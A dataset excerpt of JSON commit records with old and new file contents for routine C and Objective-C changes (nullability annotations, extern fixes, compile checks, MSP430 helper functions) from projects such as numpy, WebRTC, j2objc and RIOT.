{"commit":"b837d1dfefc4ec78d94ae211cc2c29efb67e18e6","old_file":"Kirin\/core\/ios\/KirinKit\/KirinKit\/Services\/NetworkingBackend.h","new_file":"Kirin\/core\/ios\/KirinKit\/KirinKit\/Services\/NetworkingBackend.h","old_contents":"\/*\n   Copyright 2011 Future Platforms\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n*\/\n\n#import <KirinKit\/KirinKit.h>\n#import \"Networking.h\"\n\n@interface NetworkingBackend : KirinServiceStub <Networking> {\n\n}\n\n@end\n","new_contents":"\/*\n   Copyright 2011 Future Platforms\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n*\/\n\n#import <KirinKit\/KirinKit.h>\n#import \"Networking.h\"\n\n@interface NetworkingBackend : KirinServiceStub <Networking, KirinServiceOnMainThread> {\n\n}\n\n@end\n","subject":"Make Networking run on the main thread.","message":"Make Networking run on the main thread.\n","lang":"C","license":"apache-2.0","repos":"futureplatforms\/Kirin,KirinJS\/Kirin,futureplatforms\/Kirin,KirinJS\/Kirin,futureplatforms\/Kirin,futureplatforms\/Kirin,KirinJS\/Kirin,futureplatforms\/Kirin"}
{"commit":"a1e0a43a37dd80462bbfe054629e88958506e8cb","old_file":"EYMaskedTextField\/EYMaskedTextField.h","new_file":"EYMaskedTextField\/EYMaskedTextField.h","old_contents":"\/\/\n\/\/  EYMaskedTextField.h\n\/\/\n\/\/\n\/\/  Created by Evgeniy Yurtaev on 10\/09\/15.\n\/\/  Copyright (c) 2015 Evgeniy Yurtaev. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@protocol EYMaskedTextFieldDelegate <UITextFieldDelegate>\n\n@optional\n- (BOOL)textField:(UITextField *)textField shouldChangeUnformattedText:(NSString *)unformattedText inRange:(NSRange)range replacementString:(NSString *)string;\n\n@end\n\n@interface EYMaskedTextField : UITextField\n\n@property (copy, nonatomic) IBInspectable NSString *mask;\n\n@property (copy, nonatomic) IBInspectable NSString *unformattedText;\n\n@property (assign, nonatomic) id<EYMaskedTextFieldDelegate> delegate;\n\n@end\n","new_contents":"\/\/\n\/\/  EYMaskedTextField.h\n\/\/\n\/\/\n\/\/  Created by Evgeniy Yurtaev on 10\/09\/15.\n\/\/  Copyright (c) 2015 Evgeniy Yurtaev. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n@protocol EYMaskedTextFieldDelegate <UITextFieldDelegate>\n\n@optional\n- (BOOL)textField:(nonnull UITextField *)textField shouldChangeUnformattedText:(nullable NSString *)unformattedText inRange:(NSRange)range replacementString:(nullable NSString *)string;\n\n@end\n\n@interface EYMaskedTextField : UITextField\n\n@property (copy, nonatomic, nullable) IBInspectable NSString *mask;\n\n@property (copy, nonatomic, nullable) IBInspectable NSString *unformattedText;\n\n@property (assign, nonatomic, nullable) id<EYMaskedTextFieldDelegate> delegate;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Add `nonnull` and `nullable` attributes","message":"Add `nonnull` and `nullable` attributes\n","lang":"C","license":"mit","repos":"seaburg\/EYMaskedTextField"}
{"commit":"ce2aa429b587714faaec43f13b345a8be80765d5","old_file":"dev\/multiple_renderer_separate_schema\/renderman\/RendermanTypes.h","new_file":"dev\/multiple_renderer_separate_schema\/renderman\/RendermanTypes.h","old_contents":"#pragma once\n\n#include <ri.h>\n#include <vector>\n#include \"Types.h\"\n\ntypedef std::vector<RtInt> RtIntContainer;\ntypedef std::vector<RtFloat> RtFloatContainer;\n\n\/*!\n * \\remark Alembic does not support \"holes\" but to be safe, we are targeting\n *         RiPointsGeneralPolygons to future proof our code\n *\n *         RtVoid RiPointsGeneralPolygons(RtInt npolys, RtInt nloops[],\n *                                        RtInt nvertices[],\n *                                        RtInt vertices[], ...);\n *\n *\/\nstruct RendermanMeshData\n{\n\tV3fSamplingArray2D _P_data_array;\n\t\/\/ Assumes topological stability\n\tRtInt _npolys;\n\tRtIntContainer _nloops_data;\n\tRtIntContainer _nvertices_data;\n\tRtIntContainer _vertices_data;\n};\n\nstruct RendermanPointsData\n{\n\tV3fSamplingArray2D _P_data_array;\n\t\/\/ Assumes topological stability\n\tRtFloat _constantwidth;\n\tRtIntContainer _ids_data;\n\tRtFloatContainer _width_data;\n};\n\/\/ == Emacs ================\n\/\/ -------------------------\n\/\/ Local variables:\n\/\/ tab-width: 4\n\/\/ indent-tabs-mode: t\n\/\/ c-basic-offset: 4\n\/\/ end:\n\/\/\n\/\/ == vi ===================\n\/\/ -------------------------\n\/\/ Format block\n\/\/ ex:ts=4:sw=4:expandtab\n\/\/ -------------------------\n","new_contents":"#pragma once\n\n#include <ri.h>\n#include <vector>\n#include \"Types.h\"\n\ntypedef std::vector<RtInt> RtIntContainer;\ntypedef std::vector<RtFloat> RtFloatContainer;\n\n\/*!\n * \\remark Alembic does not support \"holes\" but to be safe, we are targeting\n *         RiPointsGeneralPolygons to future proof our code\n *\n *         RtVoid RiPointsGeneralPolygons(RtInt npolys, RtInt nloops[],\n *                                        RtInt nvertices[],\n *                                        RtInt vertices[], ...);\n *\n *\/\nstruct RendermanMeshData\n{\n\tV3fSamplingArray2D _P_data_array;\n\t\/\/ Assumes topological stability\n\tRtInt _npolys;\n\tRtIntContainer _nloops_data;\n\tRtIntContainer _nvertices_data;\n\tRtIntContainer _vertices_data;\n};\n\nstruct RendermanPointsData\n{\n\tV3fSamplingArray2D _P_data_array;\n\t\/\/ Assumes topological stability\n\tRtIntContainer _ids_data;\n\tRtFloatContainer _width_data;\n};\n\/\/ == Emacs ================\n\/\/ -------------------------\n\/\/ Local variables:\n\/\/ tab-width: 4\n\/\/ indent-tabs-mode: t\n\/\/ c-basic-offset: 4\n\/\/ end:\n\/\/\n\/\/ == vi ===================\n\/\/ -------------------------\n\/\/ Format block\n\/\/ ex:ts=4:sw=4:expandtab\n\/\/ -------------------------\n","subject":"Remove _constantwidth as there are other was to determine that via the length of the _width_data vector","message":"Remove _constantwidth as there are other was to determine that via\nthe length of the _width_data vector\n","lang":"C","license":"apache-2.0","repos":"nyue\/SegmentedInterpolativeMotionBlurAlembic,nyue\/SegmentedInterpolativeMotionBlurAlembic"}
{"commit":"fc75c4c360b754efbe202c8f73327a2ddf7676f5","old_file":"src\/plugins\/crypto\/compile_gcrypt.c","new_file":"src\/plugins\/crypto\/compile_gcrypt.c","old_contents":"\/**\n * @file\n *\n * @brief tests if compilation works (include and build paths set correct, etc...)\n *\n * @copyright BSD License (see LICENSE.md or https:\/\/www.libelektra.org)\n *\n *\/\n\n#include <gcrypt.h>\n\nint main (void)\n{\n\tgcry_cipher_hd_t elektraCryptoHandle;\n\treturn 0;\n}\n","new_contents":"\/**\n * @file\n *\n * @brief tests if compilation works (include and build paths set correct, etc...)\n *\n * @copyright BSD License (see LICENSE.md or https:\/\/www.libelektra.org)\n *\n *\/\n\n#include <gcrypt.h>\n\ngcry_cipher_hd_t nothing ()\n{\n\tgcry_cipher_hd_t elektraCryptoHandle = NULL;\n\treturn elektraCryptoHandle;\n}\n\nint main (void)\n{\n\tnothing ();\n\treturn 0;\n}\n","subject":"Fix detection of lib if we use `-Werror`","message":"Gcrypt: Fix detection of lib if we use `-Werror`\n\nBefore this update detecting Libgcrypt would fail, if we treated\nwarnings as errors (`-Werror`). The cause of this problem was that\ncompiling `compile_gcrypt.cpp` produced a warning about an unused\nvariable.\n","lang":"C","license":"bsd-3-clause","repos":"mpranj\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,mpranj\/libelektra,e1528532\/libelektra,mpranj\/libelektra,e1528532\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra,e1528532\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,e1528532\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,mpranj\/libelektra,petermax2\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,mpranj\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,mpranj\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,e1528532\/libelektra,ElektraInitiative\/libelektra,e1528532\/libelektra,BernhardDenner\/libelektra,e1528532\/libelektra,e1528532\/libelektra,petermax2\/libelektra,petermax2\/libelektra,mpranj\/libelektra,petermax2\/libelektra,mpranj\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra"}
{"commit":"2f2e68df8c5655a47efad28f180070e8e87760b7","old_file":"jre_emul\/Classes\/java_lang_Thread.h","new_file":"jre_emul\/Classes\/java_lang_Thread.h","old_contents":"\/*\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef java_lang_Thread_H\n#define java_lang_Thread_H\n\n#import <pthread.h>\n\n@class JavaLangThread;\n\nCF_EXTERN_C_BEGIN\n\npthread_key_t java_thread_key;\npthread_once_t java_thread_key_init_once;\n\nvoid initJavaThreadKeyOnce();\nJavaLangThread *getCurrentJavaThreadOrNull();\n\nCF_EXTERN_C_END\n\n#endif  \/\/ java_lang_Thread_H\n","new_contents":"\/*\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef java_lang_Thread_H\n#define java_lang_Thread_H\n\n#import <pthread.h>\n\n@class JavaLangThread;\n\nCF_EXTERN_C_BEGIN\n\nextern pthread_key_t java_thread_key;\nextern pthread_once_t java_thread_key_init_once;\n\nvoid initJavaThreadKeyOnce();\nJavaLangThread *getCurrentJavaThreadOrNull();\n\nCF_EXTERN_C_END\n\n#endif  \/\/ java_lang_Thread_H\n","subject":"Fix unintentional tentative definitions that result in duplicate symbol definitions when building with -fno-common","message":"Fix unintentional tentative definitions that result in duplicate symbol definitions when building with -fno-common\n\nThis primarily consists of adding missing `extern`s in front of declarations of global variables, and `typedef` in front of some `NS_ENUM`s.\n\n-fno-common is being turned on by default with Clang 11. This fix is a preemptive measure to ensure code will compile when Clang 11 is shipped in a future Xcode update.\n\nIn C, global variables that are defined without an initializer are known as tentative definitions. These are distinct from declarations of global variables, which are preceeded by the `extern` keyword.\n\nFor performance and correctness reasons, Clang is changing their handling of tentative definitions. Almost all tentative definitions are unintentional omissions of `extern`, rather than an intentional decision by the code author, which can result in subtle bugs that are hard to pin down.\n\nHistorically, Clang has placed tentative definitions in the __DATA,__common section. The linker then allows non-tentative definitions to override any tentative definitions, and coalesces all tentative definitions of a single symbol into a single tentative definition. This meant that having multiple tentative definitions would not produce a linker error about duplicate symbol definitions, nor would having both a normal and tentative definition.\n\nWith the -fno-common flag, Clang will instead place both tentative and normal definitions in the __DATA,__bss section, which will result in duplicate symbol definition errors from the linker if multiple tentative definitions and\/or normal definitions are present in different object files.\n\nPiperOrigin-RevId: 305885508\n","lang":"C","license":"apache-2.0","repos":"lukhnos\/j2objc,google\/j2objc,lukhnos\/j2objc,mirego\/j2objc,groschovskiy\/j2objc,lukhnos\/j2objc,lukhnos\/j2objc,mirego\/j2objc,groschovskiy\/j2objc,google\/j2objc,groschovskiy\/j2objc,mirego\/j2objc,mirego\/j2objc,groschovskiy\/j2objc,lukhnos\/j2objc,mirego\/j2objc,google\/j2objc,mirego\/j2objc,lukhnos\/j2objc,groschovskiy\/j2objc,groschovskiy\/j2objc,google\/j2objc,google\/j2objc,google\/j2objc"}
{"commit":"7217135f6a8777fbdeb0ffe08abf5ccbd5b13efc","old_file":"WebApiClient\/Code\/WebApiClient-Core.h","new_file":"WebApiClient\/Code\/WebApiClient-Core.h","old_contents":"\/\/\n\/\/  WebApiClient-Core.h\n\/\/  WebApiClient\n\/\/\n\/\/  Created by Matt on 21\/07\/15.\n\/\/  Copyright (c) 2015 Blue Rocket. Distributable under the terms of the Apache License, Version 2.0.\n\/\/\n\n#import <WebApiClient\/FileWebApiResource.h>\n#import <WebApiClient\/NSDictionary+WebApiClient.h>\n#import <WebApiClient\/WebApiAuthorizationProvider.h>\n#import <WebApiClient\/WebApiClient.h>\n#import <WebApiClient\/WebApiClientEnvironment.h>\n#import <WebApiClient\/WebApiClientSupport.h>\n#import <WebApiClient\/WebApiDataMapper.h>\n#import <WebApiClient\/WebApiResource.h>\n#import <WebApiClient\/WebApiResponse.h>\n#import <WebApiClient\/WebApiRoute.h>\n","new_contents":"\/\/\n\/\/  WebApiClient-Core.h\n\/\/  WebApiClient\n\/\/\n\/\/  Created by Matt on 21\/07\/15.\n\/\/  Copyright (c) 2015 Blue Rocket. Distributable under the terms of the Apache License, Version 2.0.\n\/\/\n\n#import <WebApiClient\/FileWebApiResource.h>\n#import <WebApiClient\/NSDictionary+WebApiClient.h>\n#import <WebApiClient\/WebApiAuthorizationProvider.h>\n#import <WebApiClient\/WebApiClient.h>\n#import <WebApiClient\/WebApiClientDigestUtils.h>\n#import <WebApiClient\/WebApiClientEnvironment.h>\n#import <WebApiClient\/WebApiClientSupport.h>\n#import <WebApiClient\/WebApiDataMapper.h>\n#import <WebApiClient\/WebApiResource.h>\n#import <WebApiClient\/WebApiResponse.h>\n#import <WebApiClient\/WebApiRoute.h>\n","subject":"Add new file to umbrella import.","message":"Add new file to umbrella import.\n","lang":"C","license":"apache-2.0","repos":"Blue-Rocket\/WebApiClient,Blue-Rocket\/WebApiClient"}
{"commit":"d9f5620b549466c9f4f5eff5b99265174f0fcc42","old_file":"include\/portable\/pprintfp.h","new_file":"include\/portable\/pprintfp.h","old_contents":"","new_contents":"#ifndef PPRINTFP_H\n#define PPRINTFP_H\n\n\/* \n * Grisu3 is not part of the portable lib per se, it must be in the\n * include path. Grisu3 provides much faster printing and parsing in the\n * typical case with fallback to sprintf for printing and strod for\n * parsing.\n *\n * Either define PORTABLE_USE_GRISU3, or include the grisu3 header first.\n *\n * Without grisu3, this file still ensures that a float or a double is\n * printed without loss of precision.\n *\/\n#if PORTABLE_USE_GRISU3 \n#include \"grisu3\/grisu3_print.h\"\n#endif\n\n#ifdef grisu3_print_double_is_defined\n\/* Currently there is not special support for floats. *\/\n#define print_float(n, p) grisu3_print_double((float)(n), (p))\n#define print_double(n, p) grisu3_print_double((double)(n), (p))\n#else\n#include <stdio.h>\n#define print_float(n, p) sprintf(p, \"%.9g\", (float)(n))\n#define print_double(n, p) sprintf(p, \"%.17g\", (double)(n))\n#endif\n\n#define print_hex_float(n, p) sprintf(p, \"%a\", (float)(n))\n#define print_hex_double(n, p) sprintf(p, \"%a\", (double)(n))\n\n#endif \/* PPRINTFP_H *\/\n","subject":"Add portable floating point printing with optional grisu3 support","message":"Add portable floating point printing with optional grisu3 support\n","lang":"C","license":"apache-2.0","repos":"dvidelabs\/flatcc,skhoroshavin\/flatcc,dvidelabs\/flatcc,skhoroshavin\/flatcc,skhoroshavin\/flatcc,dvidelabs\/flatcc"}
{"commit":"59764c6d3621423c9d4e136e99a69078a79ca6f5","old_file":"numpy\/distutils\/checks\/cpu_popcnt.c","new_file":"numpy\/distutils\/checks\/cpu_popcnt.c","old_contents":"#ifdef _MSC_VER\n    #include <nmmintrin.h>\n#else\n    #include <popcntintrin.h>\n#endif\n\nint main(void)\n{\n    long long a = 0;\n    int b;\n#ifdef _MSC_VER\n    #ifdef _M_X64\n    a = _mm_popcnt_u64(1);\n    #endif\n    b = _mm_popcnt_u32(1);\n#else\n    #ifdef __x86_64__\n    a = __builtin_popcountll(1);\n    #endif\n    b = __builtin_popcount(1);\n#endif\n    return (int)a + b;\n}\n","new_contents":"#ifdef _MSC_VER\n    #include <nmmintrin.h>\n#else\n    #include <popcntintrin.h>\n#endif\n\n#include <stdlib.h>\n\nint main(void)\n{\n    long long a = 0;\n    int b;\n    \n    a = random();\n    b = random();\n      \n#ifdef _MSC_VER\n    #ifdef _M_X64\n    a = _mm_popcnt_u64(a);\n    #endif\n    b = _mm_popcnt_u32(b);\n#else\n    #ifdef __x86_64__\n    a = __builtin_popcountll(a);\n    #endif\n    b = __builtin_popcount(b);\n#endif\n    return (int)a + b;\n}\n","subject":"Fix compile-time test of POPCNT","message":"Fix compile-time test of POPCNT\n\nThe compile-time test of POPCNT, cpu_popcnt.c produced code that would\nexecute without error even if the machine didn't support the popcnt\ninstruction. This patch attempts to use popcnt on random numbers so the\ncompiler can't substitute the answer at compile time.\n","lang":"C","license":"bsd-3-clause","repos":"seberg\/numpy,anntzer\/numpy,simongibbons\/numpy,charris\/numpy,mattip\/numpy,mattip\/numpy,mhvk\/numpy,jakirkham\/numpy,anntzer\/numpy,numpy\/numpy,rgommers\/numpy,mhvk\/numpy,seberg\/numpy,pdebuyl\/numpy,pdebuyl\/numpy,endolith\/numpy,mhvk\/numpy,rgommers\/numpy,mhvk\/numpy,endolith\/numpy,charris\/numpy,anntzer\/numpy,jakirkham\/numpy,rgommers\/numpy,rgommers\/numpy,jakirkham\/numpy,charris\/numpy,anntzer\/numpy,endolith\/numpy,mattip\/numpy,numpy\/numpy,charris\/numpy,jakirkham\/numpy,mhvk\/numpy,mattip\/numpy,simongibbons\/numpy,pdebuyl\/numpy,simongibbons\/numpy,seberg\/numpy,pdebuyl\/numpy,simongibbons\/numpy,numpy\/numpy,simongibbons\/numpy,seberg\/numpy,numpy\/numpy,endolith\/numpy,jakirkham\/numpy"}
{"commit":"da5a68aff87e0152a5058c070b634eecaddf1a27","old_file":"3RVX\/3RVX.h","new_file":"3RVX\/3RVX.h","old_contents":"#pragma once\n\n#define CLASS_3RVX L\"3RVXv3\"\n\nstatic const UINT WM_3RVX_CONTROL\n    = RegisterWindowMessage(L\"WM_3RVX_CONTROL\");\nstatic const UINT WM_3RVX_SETTINGSCTRL\n    = RegisterWindowMessage(L\"WM_3RVX_SETTINGSCTRL\");\n\n#define MSG_LOAD     WM_APP + 100\n#define MSG_SETTINGS WM_APP + 101\n#define MSG_EXIT     WM_APP + 102\n#define MSG_HIDEOSD  WM_APP + 103","new_contents":"#pragma once\n\n#define CLASS_3RVX L\"3RVXv3\"\n#define CLASS_3RVX_SETTINGS L\"3RVX-Settings\"\n\nstatic const UINT WM_3RVX_CONTROL\n    = RegisterWindowMessage(L\"WM_3RVX_CONTROL\");\nstatic const UINT WM_3RVX_SETTINGSCTRL\n    = RegisterWindowMessage(L\"WM_3RVX_SETTINGSCTRL\");\n\n#define MSG_LOAD     WM_APP + 100\n#define MSG_SETTINGS WM_APP + 101\n#define MSG_EXIT     WM_APP + 102\n#define MSG_HIDEOSD  WM_APP + 103\n#define MSG_ACTIVATE WM_APP + 104","subject":"Add a class for the settings dialog","message":"Add a class for the settings dialog\n","lang":"C","license":"bsd-2-clause","repos":"Soulflare3\/3RVX,Soulflare3\/3RVX,Soulflare3\/3RVX,malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"18a924e2f2c783dd18c1f8a47d8be7a4dbc7eae4","old_file":"modules\/audio_coding\/codecs\/ilbc\/nearest_neighbor.c","new_file":"modules\/audio_coding\/codecs\/ilbc\/nearest_neighbor.c","old_contents":"\/*\n *  Copyright (c) 2011 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n\/******************************************************************\n\n iLBC Speech Coder ANSI-C Source Code\n\n WebRtcIlbcfix_NearestNeighbor.c\n\n******************************************************************\/\n\n#include \"defines.h\"\n\nvoid WebRtcIlbcfix_NearestNeighbor(size_t* index,\n                                   const size_t* array,\n                                   size_t value,\n                                   size_t arlength) {\n  size_t min_diff = (size_t)-1;\n  for (size_t i = 0; i < arlength; i++) {\n    const size_t diff =\n        (array[i] < value) ? (value - array[i]) : (array[i] - value);\n    if (diff < min_diff) {\n      *index = i;\n      min_diff = diff;\n    }\n  }\n}\n","new_contents":"\/*\n *  Copyright (c) 2011 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n\/******************************************************************\n\n iLBC Speech Coder ANSI-C Source Code\n\n WebRtcIlbcfix_NearestNeighbor.c\n\n******************************************************************\/\n\n#include \"defines.h\"\n\nvoid WebRtcIlbcfix_NearestNeighbor(size_t* index,\n                                   const size_t* array,\n                                   size_t value,\n                                   size_t arlength) {\n  size_t i;\n  size_t min_diff = (size_t)-1;\n  for (i = 0; i < arlength; i++) {\n    const size_t diff =\n        (array[i] < value) ? (value - array[i]) : (array[i] - value);\n    if (diff < min_diff) {\n      *index = i;\n      min_diff = diff;\n    }\n  }\n}\n","subject":"Fix ChromeOS build (C99 break)","message":"Fix ChromeOS build (C99 break)\n\nBUG=5016\nTBR=henrik.lundin@webrtc.org\n\nReview URL: https:\/\/codereview.webrtc.org\/1354163002\n\nCr-Original-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#9992}\nCr-Mirrored-From: https:\/\/chromium.googlesource.com\/external\/webrtc\nCr-Mirrored-Commit: 2803a40fe335a29f9584911d1a52856bdb302df7\n","lang":"C","license":"bsd-3-clause","repos":"jchavanton\/webrtc,Alkalyne\/webrtctrunk,Alkalyne\/webrtctrunk,aleonliao\/webrtc-trunk,jchavanton\/webrtc,Alkalyne\/webrtctrunk,Alkalyne\/webrtctrunk,aleonliao\/webrtc-trunk,jchavanton\/webrtc,jchavanton\/webrtc,aleonliao\/webrtc-trunk,Alkalyne\/webrtctrunk,jchavanton\/webrtc,sippet\/webrtc,sippet\/webrtc,aleonliao\/webrtc-trunk,sippet\/webrtc,jchavanton\/webrtc,aleonliao\/webrtc-trunk,aleonliao\/webrtc-trunk,sippet\/webrtc,Alkalyne\/webrtctrunk,sippet\/webrtc,jchavanton\/webrtc,sippet\/webrtc,Alkalyne\/webrtctrunk,Alkalyne\/webrtctrunk"}
{"commit":"4ae50e81b9a7c35f26a10bb103b8d46bfb6cf290","old_file":"test\/Frontend\/remove-file-on-signal.c","new_file":"test\/Frontend\/remove-file-on-signal.c","old_contents":"","new_contents":"\/\/ RUN: rm -rf %t && mkdir -p %t && cd %t\n\/\/ RUN: not --crash %clang_cc1 %s -emit-llvm -o foo.ll\n\/\/ RUN: ls . | FileCheck %s --allow-empty\n\/\/ CHECK-NOT: foo.ll\n\n#pragma clang __debug crash\nFOO\n","subject":"Use FILE_SHARE_DELETE to fix RemoveFileOnSignal on Windows","message":"[Support] Use FILE_SHARE_DELETE to fix RemoveFileOnSignal on Windows\n\nSummary:\nTools like clang that use RemoveFileOnSignal on their output files\nweren't actually able to clean up their outputs before this change.  Now\nthe call to llvm::sys::fs::remove succeeds and the temporary file is\ndeleted. This is a stop-gap to fix clang before implementing the\nsolution outlined in PR34070.\n\nReviewers: davide\n\nSubscribers: llvm-commits, hiraditya\n\nDifferential Revision: https:\/\/reviews.llvm.org\/D36337\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@310137 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"1a05b79f5f21097de4d3d587cca3aed790c0e434","old_file":"Include\/KAI\/Platform\/GameController.h","new_file":"Include\/KAI\/Platform\/GameController.h","old_contents":"\n#ifndef KAI_PLATFORM_GAME_CONTROLLER_H\n#define KAI_PLATFORM_GAME_CONTROLLER_H\n\n#include KAI_PLATFORM_INCLUDE(GameController.h)\n\n#endif \/\/ SHATTER_PLATFORM_GAME_CONTROLLER_H\n\n\/\/EOF\n","new_contents":"\n#ifndef KAI_PLATFORM_GAME_CONTROLLER_H\n#define KAI_PLATFORM_GAME_CONTROLLER_H\n\n#include KAI_PLATFORM_INCLUDE(GameController.h)\n\n#endif\n\n\/\/EOF\n","subject":"Add some color for console output","message":"Add some color for console output\n","lang":"C","license":"mit","repos":"cschladetsch\/KAI,cschladetsch\/KAI,cschladetsch\/KAI"}
{"commit":"ee0cae69a5f65af3ccd5011f0430c087175e9869","old_file":"cpu\/msp430_common\/mspgcc-supplement.c","new_file":"cpu\/msp430_common\/mspgcc-supplement.c","old_contents":"","new_contents":"\/*\n * Copyright (C) 2016 Eistec AB\n *\n * This file is subject to the terms and conditions of the GNU Lesser\n * General Public License v2.1. See the file LICENSE in the top level\n * directory for more details.\n *\/\n\n\/**\n * @ingroup     cpu\n * @{\n *\n * @file\n * @brief       MSPGCC supplemental functions\n *\n * @author      Joakim Nohlgård <joakim.nohlgard@eistec.se\n *\n * @}\n *\/\n\n#ifdef __MSPGCC__\n\n\/* internal GCC type for \"half integer\" (16 bit) *\/\n\/* See also:\n * http:\/\/stackoverflow.com\/questions\/4559025\/what-does-gcc-attribute-modexx-actually-do\n * http:\/\/www.delorie.com\/gnu\/docs\/gcc\/gccint_53.html\n *\/\ntypedef unsigned int UHItype __attribute__ ((mode (HI)));\n\n\/**\n * @brief Count leading zeros\n *\n * Naive implementation\n *\/\nint __clzhi2(UHItype x)\n{\n    int i = 0;\n    for (UHItype mask = (1 << 15); mask != 0; mask >>= 1) {\n        if (x & mask) {\n            return i;\n        }\n        ++i;\n    }\n    return i; \/* returns 16 if x == 0 *\/\n}\n\n\/**\n * @brief Count trailing zeros\n *\n * Naive implementation\n *\/\nint __ctzhi2(UHItype x)\n{\n    int i = 0;\n    for (UHItype mask = 1; mask != 0; mask <<= 1) {\n        if (x & mask) {\n            return i;\n        }\n        ++i;\n    }\n    return i; \/* returns 16 if x == 0 *\/\n}\n#endif \/* __MSPGCC__ *\/\n","subject":"Add supplemental __clzhi2, __ctzhi2, for old MSPGCC","message":"msp430_common: Add supplemental __clzhi2, __ctzhi2, for old MSPGCC\n","lang":"C","license":"lgpl-2.1","repos":"gebart\/RIOT,jasonatran\/RIOT,toonst\/RIOT,ant9000\/RIOT,jfischer-phytec-iot\/RIOT,OTAkeys\/RIOT,syin2\/RIOT,x3ro\/RIOT,immesys\/RiSyn,kaspar030\/RIOT,BytesGalore\/RIOT,ks156\/RIOT,kerneltask\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,rfuentess\/RIOT,authmillenon\/RIOT,adjih\/RIOT,aeneby\/RIOT,Hyungsin\/RIOT-OS,miri64\/RIOT,syin2\/RIOT,mtausig\/RIOT,LudwigKnuepfer\/RIOT,thomaseichinger\/RIOT,gebart\/RIOT,plushvoxel\/RIOT,x3ro\/RIOT,kYc0o\/RIOT,authmillenon\/RIOT,aeneby\/RIOT,miri64\/RIOT,hamilton-mote\/RIOT-OS,plushvoxel\/RIOT,dailab\/RIOT,roberthartung\/RIOT,plushvoxel\/RIOT,mfrey\/RIOT,OTAkeys\/RIOT,toonst\/RIOT,LudwigKnuepfer\/RIOT,kaspar030\/RIOT,gautric\/RIOT,Josar\/RIOT,adrianghc\/RIOT,Ell-i\/RIOT,kbumsik\/RIOT,x3ro\/RIOT,RIOT-OS\/RIOT,A-Paul\/RIOT,OlegHahm\/RIOT,RIOT-OS\/RIOT,RIOT-OS\/RIOT,lazytech-org\/RIOT,dkm\/RIOT,Ell-i\/RIOT,rfuentess\/RIOT,TobiasFredersdorf\/RIOT,roberthartung\/RIOT,kaspar030\/RIOT,gautric\/RIOT,LudwigOrtmann\/RIOT,yogo1212\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,neiljay\/RIOT,basilfx\/RIOT,x3ro\/RIOT,syin2\/RIOT,Hyungsin\/RIOT-OS,Josar\/RIOT,BytesGalore\/RIOT,Ell-i\/RIOT,rfuentess\/RIOT,hamilton-mote\/RIOT-OS,adjih\/RIOT,beurdouche\/RIOT,adjih\/RIOT,t